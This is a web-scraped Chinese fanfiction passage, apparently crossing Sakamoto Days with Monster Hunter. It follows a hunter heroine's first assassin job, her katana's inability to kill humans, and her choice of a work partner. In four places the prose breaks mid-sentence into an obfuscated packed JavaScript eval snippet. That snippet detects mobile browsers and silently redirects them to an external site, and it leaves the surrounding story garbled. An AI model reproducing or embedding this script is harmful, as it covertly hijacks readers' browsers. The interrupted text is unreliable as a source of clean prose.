其实我也不知道,只是下意识就拨通了他的电话。 “大佛的灵魂飘走了。” “正常。”神神廻那里响起了模糊的“叮”一声,“那你呢?” “我……有点饿。” “那就去楼下买吃的啊,我又不能给你变出吃的来。” “但是苹果派……唉,抱歉,打扰你了,再见。” “已经打扰这么多次了,也不差现在这会儿。” 神神廻低沉的嗓音透过电流准确无误地送到我耳边:“给我开下门。” 半是恍惚间,门口传来“笃笃”的敲门声。 啊,是神神廻大人来救驾了吗? 8. 神神廻没什么表情站在门口,浅金色的柔软长发披散在肩头,在门外微凉的夜晚里,整个人都散发着暖烘烘的热气。 “你是来给我们做饭的神吗?” 神,一指神神廻,二指卡密撒嘛。 “想得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15572315|163021||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也太美了。”他把黄色手提袋塞到我手里,看着我的眼睛问道,“可以进来吗?” 虽然也没有理由拒绝,甚至可以说是恨不得把他拉进门,但我还是回头向慢悠悠挪过来的大佛传了话。虽然她一脸幽怨的样子,不过还是没有拒绝。 神神廻脱下大衣放在椅背上,似乎正面色慈祥地等着我拆开袋子。 我还没完全拆完,大佛便趴在桌边嗅了嗅空气,喃喃道:“苹果派……” 包裹层层剥开,里面正是一盒透明盒装的苹果派。 我急不可耐正想直接啃上一口,就被神神廻出手制止了。 “这可不兴吃啊。” 大佛举着包装袋认真看过去:“只是半成品啊。” 神神廻交叉手指目光平静:“你俩不是说想自己做晚饭吗?虽然说只要放进微波炉里加热,但好歹也算是参与了吧。” 这样吗? 我很难忍住不冲过去抱住他的手左摇右晃,一时间感动得无以言表:“你还专门来给我们送一次饭圆梦,我、我实在……” “不是专门。”神神廻似乎对我突然的举动而浑身僵硬,然而并没有甩开我的迹象,我便一直就这样抱着他的手臂。 他空着的手取出手机:“只是有事顺路来一趟罢了。” 9. 预制苹果派需要在微波炉里躺十五分钟,期间我们便围坐在桌边,听着神神廻要说的究竟是什么事。 他点开手机邮箱,随后将屏幕推至我面前:“你看吧。总之就是明天你跟我出任务去。” 邮件内容很短,不过却简洁明了,那边吩咐神神廻带着新来的见习ORDER去某个街区清理一帮地头蛇势力。 值得注意的是其中“考察”二字,于是我福至心灵地打开自己的邮箱查看,果然,就在刚刚我也收到了一封相似的邮件: “见习期杀手须服从规定,跟随同组杀手完成一定绩效,并通过考察,方能成为准杀手独立完成任务。” 我点点头表示理解,毕竟我是个走非正规渠道入职的职员,多些条条框框也正常。 不过大佛却迷茫了起来,她指指自己:“那我呢?”她的邮箱里躺着一封完全不同的邮件。 神神廻闭目似乎松了一口气:“不用再经历一遍那个时候真是太好了。总之,那就明天见了。” 说着就准备起身离开。 “你不准备一起吃苹果派吗?” “不了。”他穿好大衣整理着衣领,“大晚上的,那种高糖食物我不准备碰。” 10. 将苹果派均匀切片,我们一边打开电视播放德州电锯杀人狂,一边津津有味地啃着香甜的苹果派。 “哇哦,她真漂亮。” 我漫不经心地对着电视机里身着黑白条纹上衣的女孩说了一句。 “她会被皮脸杀死吗?”大佛慢吞吞往嘴里塞了一块苹果派。 我无法想象那个画面,暗自捏了把汗:“我们可以为她祈祷。” 大佛皱眉又突然间站起身,我跟着她的脚步看过去,只见她怀里抱着自己的电锯走来,颇有一番即将战斗的心情。 “要一起摸摸吗?”大佛歪头,“好像这样能安心些。” “嗯,好啊。”我点点头。 11. 于是,我们便把电锯横着放在腿上,再把那盘苹果派搁在电锯上,边吃边交谈,看完似乎了并没有什么太大波折的电影。 57.烈焰君工作本当上手 1. 下楼的时候,神神廻已经在路边等我了。依旧是剪裁得体的西服,以及略显倦怠的冷淡神色,我低头看看自己的衣装,不由得抿抿唇: 是不是穿着T恤裤衩就去第一天上班,显得很不正式啊? 我:“慢着,再等我两分钟,我去去就回。” 以飞速攀上了大佛家那一楼层,我减缓速度,蹑手蹑脚打开了房门,走到道具箱旁一键换装,再次推门时俨然已化身一名怪猎丽人。 “老大!是老大回来了喵!” 冷傲突然间出现在窗边,竖起的耳朵随着身体轻轻摇晃着,眼神里满是对我终于换回熟悉装扮的欣喜。 昨天小冷自从从厨房跑走后,一晚上都没见猫身影,不过我也习惯了猫的神出鬼没。 “怎样?要不要跟我一起去上班?” “不是打猎不干喵。” 2. 还给你挑上了。 3. 我懂的,其实小冷只是在撒娇。 向前迈去一大步,我将其一把捞进怀里,扬起得意的笑容再次下楼。 4. 神神廻扯动嘴角:“也没必要穿成这样吧,我记得今天似乎不是去打哥斯拉。” 我抬起左右胳膊看了两眼:“……你是说这个搭配很丑吗?” 飞雷龙套搭王国骑士装,改色后全身银光闪闪的,再配上同为银色系的飞龙刀·银,我觉得很帅啊。 “不,没有,很好看。”他一连三个短句快速否认,“……虽然已经十月底了,接下来还是注意点防中暑吧。” “真的不热!” 我极力为我的装备正名,绞尽脑汁灵机一动,一起身便扒着驾驶座的座椅凑到神神廻面前,侧头将空闲的右手贴向他的脸颊。 “腕甲,很冰凉吧!”我微微翻转手腕,将未粘及神神廻皮肤的那一面更贴近他一些,竭尽全力推荐道。 神神廻被卡在驾驶座动弹不得,往后是座椅,往前是我的脑袋。他隐约露出的耳垂透出几分红色,我想着我这样一大坨堵在他面前,可能阻碍了空气流通,于是只得悻悻坐回原位。 不过,我实在无法承认自己的尴尬,边坐正边重复着将腕甲贴上脸颊的动作,嘴里念念有词:“如果热的时候只要这——样贴贴冰腕甲就……呜哇!好像被神神廻先生你捂热了哦。” “怎、怎样?开空调吧……正好我有些热。” “好的。”我眨眨眼,惬意地往后躺在柔软的座椅。 5. 小冷自上车至今仍没说一句话,沉浸在了乘坐汽车的新奇感中。 我因为早就已经坐过好多次汽车了,所以心中顿时有一种扭曲的骄傲。 看着小冷陶醉在跟随着汽车刹车、启动、刹车、启动来回摇晃的模样,我意识到自己还未向神神廻介绍。 我拍拍猫头,装模作样摁了摁猫的后颈:“咳咳,开机——” “喵!” “神神廻先生,这是我的玩偶猫。” “……”他以一种难言的神情回头撇了我一眼,最终还是张开唇瓣,“我好歹也去了解过你那款游戏。我是说这猫还挺有名的,不用捉弄我。” 小冷发出嘻嘻嘻的笑声,一下支楞起来,跳到副驾驶的位置摇头晃脑:“我很有名喵~” 然后扒着神神廻的衣角,俨然将他当作了自己人。 我严肃道:“那我呢?” “未曾耳闻。除了游戏介绍界面。” 6. 算了,至少有虎丸说过要把我当副推来着。 7. “你不会还不知道今天任务是什么吧?” 神神廻停车后给我买了两个大饭团当早饭,回到车里聊天时面色一凛不禁问出口。 我无辜地坦白:“只在你手机上瞥到过一眼。就是昨天那时候。” 神神廻握紧了拳,不过由于手里是方向盘,汽车便突然之间鸣了下笛,我和小冷都吓了一跳。 总之,后来在神神廻的谆谆教导下,我总算学会了怎样接收附件,查看地图等。 现在的情况,简要说明便是以下: 我们即将前往一片据说是不良街区的地方,顾名思义就是被暴走族们所“统治”着,本来这并不在杀联的管辖范围内,然而就在一个月左右前,“帝王”却易主了。 “就是说,有一帮无证杀手霸占了那个地方,将那里普通的肉搏战上升为了枪械火并?所以需要我们去清场吗。” 神神廻点开详细地图比对着:“对,不过有一点你领会错了。” “上面说的不是‘我们’,是‘你’。” “我只是陪同考察罢了。” 8. 虽然我有足够的自信完成考察任务,不过出于谨慎我还是问了一嘴: “小冷你带的什么技能来着?” 猫的眼睛骨碌碌转了一圈,狡黠地笑了笑,从身后掏出了一个有猫几倍大的木桶: “是大爆桶喵~” 我眼疾手快地把木桶已经冒烟的引线熄灭,望了望天。 猫,你是来索命的吧。 9. 传说中的不良街区实际上并没有电视剧里那种飞沙走石的氛围感,乍一看其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15590395|163021||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实和普通社区没有什么区别。 神神廻把车停在了距离稍远的街角,据说这辆车是他本人的爱车,不是杀联分配的“那种次等货”,所以绝对不能被波及到。 金属盔甲鞋踩踏着柏油路,发出铿锵有力的落地声,现在神神廻走在我身后,已然自觉承担起了考官的角色。 虽说是“清扫/处决为非作歹的无证杀手”,可关于那些人的老巢并未给出说明,我也不知从何下手。 神神廻一脸“考试已经开始了”的神情,看样子也无法从他那儿得知更多。 我凭感觉绕过几个小巷,面前是一座视野开阔的高楼,对面正是一连排咖啡厅花店,露天的遮阳伞座位下,有一群人显得格外突出。 红毛,黄毛,绿毛,紫毛,蓝毛。 戴链子的,纹身的,抽烟的,符合刻板印象的。 我走上前去。 “嗨,你们是这里的不良吗?” “哈?” 红毛狠狠在桌面摁灭了烟头,顶顶腮站起来意图俯视我给我一点不良压迫,但是发现好像硬件限制了这个动作,于是又丝滑地坐下去了。 “那我问你,你这种穿着cosplay一样滑稽戏服的生面孔,故意来招惹老子么?” 没工夫反驳有关“戏服”的不敬言论,我只是整理出一个态度良好的微笑解释着说:“没有没有,我就是想问下你们知不知道那群把你们打得落花流水的那群人一般聚集在哪儿呀?” 蓝毛怒而愤起:“头儿,这女人绝对在找茬!!” 绿毛附和:“是呀是呀不能放过她喔!” 我连忙摆摆手:“我绝对没有挑衅你们的意思。我只是找他们有点儿事,你们不是任务对象不用担心的。” 骤然间鸦雀无声。 “……你是杀手?” “你们怎么猜出来的,好厉害!”眼神在他们五个的脸上徘徊,我干脆摊牌了,“所以,你们知道他们的据点吗?” 10. 原来就近在眼前。 对面那栋楼房原本是不良们的集会点,现在正被那群无证杀手们占据着,不知他们在里面做着什么勾当。 据说那些人不仅窝在里面不出来,而且时常在夜里运送成箱的不明物体,不良们也只能在对角的咖啡厅整日幽怨地监视着。 “最后一个问题。”我微笑道,“这楼房结实吗?” 红毛皱了皱眉,与同伙对视一眼,结结巴巴说:“算、算是吧。我们之前在那儿经常蹦迪来着。” “那想必可以承受爆炸吧?” 我和小冷都准备好了。 58.绝对没有贿赂考官! 1. 楼中只可闻一片寂静无声。 这并不应该,按理来说,聚集了这么些杀手的楼房里不可能对我们的擅自闯入毫无察觉。我想不是他们太过狂妄就是正聚在某处没工夫留意这边。 “第二种的可能比较大吧……”我估摸着,拍拍冷傲的脑袋,“你感觉一下哪儿有人?” 小冷趴在地面认真倾听着,没一会儿便直起身,往地面指了指。 “那就往地下层走吧。”我提前磕了点鬼人药,一面还有闲打趣着小冷,“哇,还以为你已经做甜点做得不知天地为何物了,现在依旧很厉害哦小冷!” “好戏还在后面喵!” 我们一层一层向下探去,越往下空气里那种阴湿刺骨的感觉越是明显。 “就是这儿了吧。”我和神神廻交换了一个眼神。 2. 门口有两名壮汉看守在楼梯口,微微敞开的白色铁门中冒出一缕缕灰色烟雾,似乎彰显着里面正发生着某些不同寻常的事件。 三下五除二将门口那二位折叠在一块儿,我大喇喇推开铁门,金属在地面摩擦发出难听的滋啦声,面前高高低低坐着的、站着的、抱团凑在一块儿的,通通噤了声来,仿佛是在为铁门那难以入耳的尖叫让步。 这些都是要杀掉的对象吧?我思索着。 “嗨?”我缓缓抽刀,“我是来杀你们的,想杀我的可以过来了哟。” 3. 叫骂声,呼喊声,爆炸声,刀尖撞上骨骼时迟缓的碰撞声……很快归于平静。 人类的血液鲜红而清晰,飞龙刀第一次接纳如此稀薄的血,不同于怪物们的黏稠分泌物,血滴、饱满的液珠,从刀身顺畅地滑下,随后“滴答”坠落到地板。 神神廻拣着空地走动,凝固的空气再一次开始流淌:“好像每个都没死透?” 我顺手以刀尖拌了拌周围躺着的人,确实还在微弱地呼吸,侧身确认道:“任务是要全部杀死对吧?” 神神廻点头。 我撇嘴。 竟然还需要补刀!总感觉是对我太刀技术的一种否认呢。 人的弱点在于心脏,而没有肉质好坏这一说法。我对准着地上人的胸口,举起太刀就是往心脏处给了一下子。 ……失误了吗。歪了。 再来。 ……失误。 再来。 ……我的手,再也不能向下挪动半分。 刀尖抵着“尸体”的心脏处,死活摁不下去哪怕一公分,我用尽浑身体重压下去,也只是获得了刀身一歪,我失去重心而后摔倒的结果。 我眨了眨眼,迷惑地在血泊中撑着自己的半面身体没有动弹。 一双尖头黑色皮鞋出现在我面前,抬头看去,神神廻抬手凝视了自己衣袖两秒,随后半蹲下来,一手搭着我的肩膀,一手托着我沉重的腕甲,缓缓将我扶了起来。 这是怎么回事……? “神神廻先生……我的刀,不听我话了……” 头脑里一片空白,除了想我的太刀,我的心里暂时容纳不了一点儿别的东西。这感觉好比从小与你青梅竹马约定了要结婚的对象,在你出门晃了一圈准备好婚礼的那一刻,突然打电话过来说“不好意思其实我是那个啥。” 我摇摇欲坠。 4. 头顶传来一阵不算重的温暖的压感。 神神廻架着我几乎完全没使力的身躯(和铠甲),他靠在某个布满尘埃的办公台,身体微微后仰,似乎想和我隔开距离一般抬起下巴,紧绷着清晰的脖颈肌肉线条。 有灰尘落了下来。 我扶着他的手臂,凑上前去,神神廻又退了一寸。 我吹了口气,“呼”,絮状灰尘飘飘忽忽由神神廻的喉结处落到我肩头,而后再一次滑落。 这下好些了。 我抓着桌面站起身,顺手给神神廻的西装也掸了掸: “抱歉啊,我今天很重吧。” “……”他没说话,半晌后才撇过眼神看着一地惨状,“先来收尾吧。累了就歇一会儿。” 他握着我的手指一根根攀上太刀刀柄,随后又扯扯嘴角笑了笑,背过身拿出他那对羊角锤走开了。 “你,不是说考官不参与吗……” 神神廻一路叮叮咚咚敲了过去,闻言莫名回头看了我一眼说: “我还能让你不过这一关吗?” 5. 尽管楼房中已重归死寂一片,我和小冷还是重新出发,坐着电梯探查了一遍这里是否仍有漏网之鱼。 小冷坐在我怀里抬头看我:“老大老大,以后要和那个人一直组队喵~” “诶,说说看?” “我喜欢他喵!” “唔。”我又想起他刚刚近乎帮我作弊的行为,“我也喜欢他。” “但这种事,还是要听大领导的安排吧。”我说。 6. 回到地下楼层,神神廻已经清场完成,正站在方才我弹刀的那里静静等着我回来。 “要不要再试一次?就用你的刀。” “我可能有了点想法。” 我点头走了过去,刀柄仍带着些热意:“那我上了。” 很顺畅地,几乎没怎么用力,刀尖便丝滑地陷入了那具不再动弹的身躯。 “死了的可以啊。” 我疑惑地拔刀出来。 “果然。”神神廻站到我身后,“你当时杀了死囚的时候,用刀了吗?” “没有,我直接用的手。”那拳拳到肉的记忆深刻到无需回忆就脱口而出。 空气静默了一瞬,神神廻轻嘶一声,整理着乱掉的领带: “果真是游戏设定啊。” “什么意思?”我不解地看着他。 “你有没有想过,既然你是来自游戏的话,有可能被设置了不允许伤害npc的‘规则’在?” 神神廻蹲下认真端详起我的太刀继续说着:“比如你在家乡的时候也不能在据点随意拔刀吧。” 我:“是这样,只能去训练场打来着、不过……神神廻先生你怎么什么都知道?” “……这个你别管了,反正我没去玩怪物猎人。”神神廻撇嘴又直起身,“下次有机会再试试吧。我猜只是‘规则’对你太刀的限制,工作的时候可以换个武器……” 他垂眸盯着我的手:“或者直接上手,或者找人帮忙。” 我不由得笑出了声: “哈哈哈,你是说我在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15599985|163021||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前面打,你在后面收人头这样吗?这样我不就变成打辅助了吗!——诶等一下、我打辅助、真的假的?” 不可否认,这样的攻击方式,似乎最有效率啊。 7. 就在我们这样无知无觉商讨着未来作战方式的时候,门倏地打开了。 战斗直觉使我立刻转身拔刀,不过显然看清来人后并没有警惕下去的必要了。 ——似乎南云这人出现在哪儿都不奇怪。 他眯着眼,一脚一具尸体地踢开一道干净的来路,面带不爽地径直走到我面前: “什么嘛小烈焰!我在外面累死累活为你工作交接熬夜忙活,结果你竟然、你竟然已经在这里和别的男人……做了人生中第一个任务!” “这种事情,不应该和我一起吗!?” 呃。 由于他实在是太过理直气壮,导致我一时间总觉得自己欠了他许多,不自觉就低头道歉: “对不起……你不要生气了……” 得到答复的他反倒卡壳了,支支吾吾又朝我挪过来些许: “也没生气啦,待会儿陪我去吃饭好不好?” 那这种你好我好大家好的事情,我自然是全盘答应的。 又聊了一会儿,我们就变成了南云抱着小冷,神神廻在我右边焦躁地跺脚的场景。 “非要在这种空气不流通还全是尸体的地方聊午餐吃什么吗?”神神廻终于开口吐槽。 “不是吧,这样就准备走了?”南云捂嘴作惊讶态。 “你还想怎样啊。”神神廻话语里满是无力,“任务只是把人杀光罢了,除此之外一律不管。” “至少先弄清楚诡异的地方啊,比如为什么这些人全聚集在这儿。” 南云站在箱子上俯瞰房间一圈,轻轻一跃后闲庭信步来到了房间中央,拾起了一张溅上血迹而有些模糊了字迹的劣质报纸: “我就说加入ORDER能离斯拉的线索更近一步吧。笨蛋烈焰可长点心吧。” 8. “福音……『X』的杀联奇袭……” 我看着报刊上角落的小字念道:“这些人其实是斯拉的同伙吗?斯拉怎么什么人都收啊。” 南云的嗓音里溢出笑意:“看样子应该是什么不成形的自发组织吧,和那边没有什么直接联系。” 话音一转,他又说道:“不过并不是毫无收获,这里有几张脸我见过的,这个,这个,还有那个。”他示意性点了点虚空,“几个一年前到现在陆续被剥夺杀手执照的老人了。” “对杀联的不满吗,可以理解。”神神廻附和一句。 “并不完全,仅仅是这样的话,凑不出这么一屋子人。” 我听得云里雾里,不过趁此机会我还是说出了今天上楼时看到的本以为不重要的发现:“对面那些不良不是说他们在夜里搬运一些东西嘛,我好像看到了,就是一些木仓啊炮啊的,就在楼上。” “烈焰好棒!”南云扭头对上了我期待的眼睛,顺手就揉了揉我的头发,“不过,还有一个重要问题就是,这份《杀杀山谷》的小报,到底是哪个会社制作的。” 他牵过我的手,将叠好的报纸塞进口袋:“我们去问下门口那两个还在呼吸的看看。” 59.下班后茶会 1. 南云所说的那两个活口,就是一开始进门前打倒的两名男子。由于存在感过低,我和神神廻补刀的时候都一齐忽略了他们。 没想到现在成唯一的突破口了。 南云说:“看我给你变个魔法玩玩。” 我一头雾水站在神神廻身边。 “看着我的手指……”南云这样嘱咐着我,只见他印着刺青的修长手指漫不经心打了个响指,再一抬头,原本正常的一张脸变成了一个十分崎岖的刀疤脸男! 我惊讶地倒吸一口气,捂着嘴凑上前去看了又看。 南云似乎本来也沉浸在被人敬佩的快感中,然而突然间像是要素察觉,不可置信地开口:“等一下在你眼里原本我的脸只是用‘正常’这两个字形容吗!?” 我迟疑道:“……‘正常’这个词,是不好的吗?” 神神廻:“正常得招笑了。” 不可置信,不可思议,不可原谅。 几种情绪在南云脸上一闪而过,我生锈住的脑袋终于缓缓开转了: “啊,我知道了。难不成,南云你其实想让我夸你长得好看?” 我顿了顿补偿性地回复:“抱歉啊我刚刚没听明白,但是南云你是一个很好看的人。虽然不是最好看的,但你要自信一点不要质疑自己!” “你哪只眼睛看见这人不自信了。” “烈焰啊烈焰,那你觉得最好看的是什么人……为什么要去看神神廻啊!” “可是我们已经偏题了吧。”我疯狂摆手,“感觉死了的都会被我们吵醒哦。” 将注意力转到工作上,我弯腰拎起其中一个看门的,正欲将其直接掐醒,南云便伸手覆上我的手指: “稍微等等嘛,我有一计。” 2. 我抬脚碾上地上二人的胸口,于是二人终于悠悠转醒,睁眼便是一副鲜血淋漓的情景: 身着银灰色盔甲的高大女子以刀抵着刀疤男的喉咙,从上方面无表情地注视着他们的眼睛,身侧的金发男子面带不满,一下一下无规律地敲击着楼梯扶手,金属碰撞在空荡的闭塞空间,回声如生命的倒计时一般不受控钻进耳朵。 “你们的伙伴,要没命了哦。” 我笑着说道。 二人迟缓地对视一眼,失去血色的嘴唇神经质地抽动着: “我,我……” 手腕翻转,刀下男人尚未来得及说出一个字,鲜血便从喉间喷涌而出。 惊惧逐渐攀上二人的四肢,我不动声色地旁观着,机械般生硬的语言缓缓回荡在这片空间: “只有先说出你们集团秘密的那个才能活下去哦。” 我牵动嘴角,按照记忆里南云那样笑了笑。 3. “欸——真是毫无挑战性啊——” 南云拨弄着刘海,明明一点也没弄乱来着。他每次这样拖长了语调,都会显得格外悠闲,较之我和神神廻一身的血迹,更加招人烦了。 就在几秒前,倒在我怀里“死去”的刀疤男俏皮地眨了眨眼,抹了把脸便毫不费力地站起来,面带笑意踢开了挡路的两具尸体。 是的,刀疤男的同伙样貌乃是南云在屋内随机选了一人仿制出的易容,方才我们的一举一动都是南云所安排好的逼供小戏码,据他说这样能够在短时间内迫使对面说出更多情报。 “已经很棒啦,你刚刚确实还怪吓人的。”南云回忆起那个画面,拍拍我的肩膀鼓励道。 神神廻忍不住翻了个白眼:“这下可以离开了吧。我打电话给弗洛塔那边。” “弗洛塔?”我还没听说过这个词。 他就轻驾熟地拨打电话,边等待回复边解释说:“嗯,就是负责清理现场的部门,喂我是……” 目光不自觉跟随着神神廻讲电话时垂落的长发,肩头却被搭上一份更重的重物。 扭头,南云将下巴搁在了我的肩甲上,笑意吟吟地搂着我,他说:“工作也完成了,要不丢下神神廻我们一起跑掉吧?” 我:“不要。” 没带一秒犹豫的。 “你这家伙……”神神廻咬牙挂断电话,奖励般顺手拍了拍我的头,然后自觉坐上驾驶座,“刚刚那边的事,边开车回杀联边说吧。啧,南云你给我坐副驾去。” 4. 这段车程说长不长说短不短,不过刚巧够我们,尤其是我梳理清楚关于那帮无证杀手的情报。 那是一帮被吊销杀手执照的、没通过杀手考核的又或是叛逃出杀联的泛泛之辈,杀联没有他们想要的位置,他们便聚集到一块儿,寻找到不良街区这样的“下沉市场”为非作歹,好似这样就能获得自我价值。 其中一个看门的说了段耐人寻味的话,他说“还不是这个破杀联制度把所有人都困在原地、看不到未来”,所以“还是斯拉大人比较帅气啊!”,那人是这样说的。 虽然没有直接得出他们集团与『X』的确切联系,也尚且未知那份《杀杀山谷》报刊究竟怎么回事,好歹我得到了这样一条逻辑链: 有很多人对杀联不满→他们中一部分转向了斯拉成为他的信徒→有可能会受到斯拉的直接/间接指示进行破坏活动→我可以通过多多接受杀联的任务来追查。 “我说最后一个怎么推导出来的,这不相当于海底捞针吗。” 神神廻吐槽。 “不哦。”我摇头,“能进入杀联、接触到这些平常不会遇到的事件,我已经很感激了。接下来就是要通过我自己的努力寻找斯拉的线索,即便这可能很麻烦。” 神神廻小声嘟囔道:“死公司把这孩子调成啥样了啊……有困难的话我会帮你的。” 南云调低了座位,在前面仰躺着看着我:“我就不一样了,无论有没有困难我都会在你身边的,烈焰要记住哦。” “有病啊天天拉踩别人!” 眼前二人吵着无关紧要的事,这样的日常也很不错,我很难不喜笑颜开: “随便你们怎么样都好啦,不过,我一定会把这些事全部——全部掌握在我自己手里的。” “唔……哈哈,果然是你啊!” “嗯,我相信你。” 5. 回杀联(灾后支部版),主要是为了取一下我崭新出炉的杀手证,从材质和做工上和我来到这个世界后基因突变般变化的猎人公会证明相差无几,唯一不同的便是灿烂的金色背景,以及我沉淀三年后这副样貌的证件照。 最终我们还是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15613228|163021||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就近选择了一家快餐店解决午饭,毕竟作为ORDER的大家一天到晚都很忙碌。 期间,我们又一次讨论了下有关我太刀无法真正杀人的限制。 我本来还有些沮丧的,不过南云劝导我说男女搭配干活不累,意思就是说只要在搭档任务里面我在前面来路,他在后面清场,一天五个任务都不是问题。 这样一看,被迫打辅助的不甘与高效任务高效寻找线索比起来,也就不值一提了。 而且神神廻也为我指出了另一条路: “不过这个‘规则’应该也只限于你自己的太刀吧,要是换个武器……” “不行,太刀是我人生的另一半啊。” “我是说,杀联仓库里似乎有一些给篁老爷子准备的但从没用上的备用刀,你有空可以试试能不能行。” 这倒可以。 听见熟悉的人名,脑海中一下便又浮现了那时所目睹的、精妙绝伦的刀光,我咽下口水,感觉脸颊不自觉地发红发烫起来: “特别特别帅呢……篁爷爷的刀法,不,绝对是篁老祖宗吧……好想再看一遍呀……” “我还是第一次见你脸红呢。”南云平静地喝下一口拿铁。 神神廻以一种“真是少见多怪”的眼神瞥了一眼他。 6. 过后不久我们便分别了,各自忙着各自的要事,不如说,就我一人暂时还是闲着的状态。 对此神神廻说不用担心,等他过两天递交手头那份考察报告我就可以自己接任务了,到时候有得忙。 问题是接下来的搭档。 临别时那二人都叫我好好想一想。“好好”二字打上了着重号。 由于我还是新人的原因,总得找个同事带带我,就像神神廻带着大佛一样。 作为被带的那个,大佛势必不可能成为可选项,而神神廻临走前那么一嘱托,语重心长的样子大概是在提醒我“别选我了我都已经这么累了”。 这么说下来,我真的要和南云搭档吗?虽然他很欢迎我的样子,但仔细想一想,我总怕他不是特别贴心地帮我把所有任务都做了,就是临时为了给我增加任务的趣味性而耍些小手段。 …… 哎,其实这些都只是托辞啦。 我好想跟着篁老前辈一起去狩猎、哦不,出任务啊。 7. 不过我知道那是基本不可能的。 我在杀联里乱晃,和上上下下许多坐办公室的同事们都聊得不错,他们在我问及ORDER时告诉了我很多传闻。 篁老爷子可是一匹可望而不可及的孤狼啊! “不过烈焰你想拉进距离的话或许也可以另辟蹊径哦。”喝着茶水的女同事竖起一根手指,“毕竟你也是ORDER的一员嘛!像是开例会什么的,平时总有见到的机会!” “那位听说不怎么去的吧?”另一名员工摘下耳机,“但不是听说豹先生经常扶那位上楼梯啥的好人好事吗,烈焰你可以去问问豹先生哦。” 8. 房间内的空气有些焦灼而沉默。 “所以这就是你强烈要求我当你搭档的原因?” 面前沙发上,满身金属制品的粗犷男人搓着手掌如此说道。 60.相合伞 1. 阿豹看起来对于“成为搭档”这件事还没有缓过神来。 “不是、怎么看你都和南云他们更熟吧……究竟为什么啊。” “其实我觉得工作而已,虽然对我来说是‘找个师父’,但实际上谁都差不多,毕竟我也很强嘛。”我抿唇思考,“我是真的想多和篁老爷子说说话。” “问题是我也没你想象的和他那么熟啊!你到底都在误解些什么!” 阿豹扶额咂了咂嘴:“算了,如果你能保证某些人不来找我麻烦,我答应你也没什么大碍。” 那就这样愉快地决定了! 2. 由于工作真的很忙,我在大佛家寄宿的一周便如同细沙般飞快从指间流去了。 搬家时,尽管我说了自己一个人就够,南云还是非常热心地过来帮我搬行李,而神神廻虽然表现得很嫌麻烦,却还是提早到场等着了。 总不能是图那一个什么乔迁宴吧! 我工资可还没到账! 所以,他们几个就索性当做造访新居,一起去了我的新家。 大佛在家里住了一晚上,说是要有来有往有始有终,我当然都全盘应下了。 新房子还挺大,除了神神廻白天帮我整理的部分,我基本都懒得再动弹。 事实上我并不需要那么大的空间,一个道具箱已经能解决基本上所有收纳问题了。 余光瞥到沙发上突兀出现的黑色西装,我迟疑了下,最终还是将其保持原样,没有收拾起来。 南云落在我家的西装外套,我还是不要乱动好了。毕竟西装这种衣服,听说很容易就会不小心弄出不该有的褶皱。 3. 缓冲期的最后一天,也是没有任务干的最后一天,我颇为无趣地在家逗着艾露猫玩,心不在焉想着何时才能正式上岗。 前一天晚上,神神廻告诉了我一个不幸的消息:他递交上去的考察报告出了问题。 这并不是说神神廻的文书工作太差劲,相反,他做得太棒了。 神神廻语气里满是尴尬,他吞吞吐吐地解释着说:“就是……会长大概觉得你是个全能的大规模杀伤武器……只做ORDER的工作太浪费了,所以、呃就是说……” “神神廻先生你就快点说清楚吧!” “你还得再见习一段时间。你懂的嘛,实习生哪儿的活都可以干的意思。” 总之,我拿起手机,隔段时间便查看一下是否有给我发来的工作邮件。 然而,任务没等到,line群组里却叮咚叮咚发来一大串消息。 最近忙着在家里和杀联两端跑,确实没怎么看消息,怀抱着好奇心,我点开消息界面。 4. 滴汗。 擦汗又滴汗。 我所加入的line群组,总共就ORDER工作组和坂本家那一个啊! 【早睡早起(11.5帮忙装修)】 【葵:看起来要下雨了。小花没带伞诶,谁待会儿有空接她放学?@全体成员】 【少糖:现在就只有信在店里值班有空吧?】 【少糖:@信你快回复一下葵姐啊喂!】 【信:(猫咪震惊.gif)】 【信:刚刚被仓田爷爷叫去修自行车了TT我尽快赶回去……】 